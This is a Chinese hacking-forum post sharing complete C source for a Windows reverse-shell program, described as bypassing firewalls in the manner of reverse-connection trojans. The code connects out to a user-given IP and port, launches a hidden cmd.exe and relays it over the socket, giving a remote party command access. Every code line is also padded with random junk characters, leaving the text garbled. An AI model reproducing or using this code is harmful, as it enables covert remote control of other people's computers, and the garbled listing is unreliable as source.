社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 7099阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y_*KAr'{P  
9Y2u/|!.3  
/* ============================== 5L6.7}B  
Rebound port in Windows NT $!G|+OuTR  
By wind,2006/7 umP nw  
===============================*/ [uqr  
#include }%wP^6G*x\  
#include ^e "4@O"  
,eebO~7vB  
#pragma comment(lib,"wsock32.lib") \|X 1  
[ x>Pf1  
void OutputShell(); 9hK8dJw  
SOCKET sClient; Qq{tX  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; wa[J\lW  
N/-(~r[  
void main(int argc,char **argv) CPa+?__B  
{ gm]q<~eMW  
WSADATA stWsaData; ?z)2\D  
int nRet; \Yp"D7:Qi  
SOCKADDR_IN stSaiClient,stSaiServer; t#M[w|5?  
';.TQ_I7Y  
if(argc != 3) hK4ww"-  
{ =:T"naY(  
printf("Useage:\n\rRebound DestIP DestPort\n"); P `<TO   
return; u@Gum|_=N  
} yT%<  t  
,%m~OB #  
WSAStartup(MAKEWORD(2,2),&stWsaData); dT1UYG}>j  
\l(}8;5}  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d+P<ce2 G  
G8F;fG N  
stSaiClient.sin_family = AF_INET; e{2Za   
stSaiClient.sin_port = htons(0); *C)m#[#:u  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); or ~@!  
2:.$:wS  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $m>( kd1  
{ ]nV_K}!w  
printf("Bind Socket Failed!\n"); jMWTNZ  
return; !K_<7iExI\  
} \Q`#E'?  
LCRWC`%&  
stSaiServer.sin_family = AF_INET; hBZh0x y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :n <l0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~>]Ie~E: (  
; mV>k_AG  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1jSmTI d  
{ L) _ VdB  
printf("Connect Error!"); ]Gm&Kn >  
return; [PrJf"Z "  
} -[=@'N P  
OutputShell(); LUx'Dm"  
} T}p|_)&y  
Rp zuSh  
void OutputShell() L(y~ ,Kc  
{ HE4S%#bH>  
char szBuff[1024]; `T2DGv  
SECURITY_ATTRIBUTES stSecurityAttributes; <6N3()A)%1  
OSVERSIONINFO stOsversionInfo; Q\~#cLJ/  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ieEt C,U  
STARTUPINFO stStartupInfo; ENYc.$ r  
char *szShell; w0>5#j q#r  
PROCESS_INFORMATION stProcessInformation; f:t5`c.  
unsigned long lBytesRead; ,+Ya'4x  
;rh =63g  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i+-=I+L3  
qk&BCkPT  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6jal5<H  
stSecurityAttributes.lpSecurityDescriptor = 0; yh4%  
stSecurityAttributes.bInheritHandle = TRUE; BaCzN;)  
' wLW`GX.  
4mGRk)hk:>  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,({% t  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); IOrYm  
iee`Yg!EOH  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0,LUi*10  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8r.MODZG/  
stStartupInfo.wShowWindow = SW_HIDE; F j"]C.6B.  
stStartupInfo.hStdInput = hReadPipe; $iy(+}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6>d 3*   
[di&N!Ao  
GetVersionEx(&stOsversionInfo); kvN6K6  
|[bQJ<v6  
switch(stOsversionInfo.dwPlatformId) =:RNpi,  
{ :d~&Dt<c  
case 1: x6yO2Yo  
szShell = "command.com"; ,l)AYu!q4F  
break; k"`^vV[{F  
default: Z!?T&:  
szShell = "cmd.exe"; j~ qm5}  
break; G#^6H]`[J:  
} G|$n,X1O(  
su=]gE@  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \y/0)NL\  
U%2{PbL  
send(sClient,szMsg,77,0); xl,?Hh%#  
while(1) ^F"eHUg  
{ 6:TA8w|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); p_sqw~)^%  
if(lBytesRead) .O4=[wE!U  
{ `O,"mm^@U  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0c#|LF_  
send(sClient,szBuff,lBytesRead,0); 49#?I:l  
} 41XXL$  
else b@1";+(27  
{ H: ;S1D  
lBytesRead=recv(sClient,szBuff,1024,0); &4F iYZ  
if(lBytesRead<=0) break; ;xE1#ZT  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TP/bPZY  
} ^6^A/]v  
} B{_-k  
A%#."2vq~  
return; h3-dJgb  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五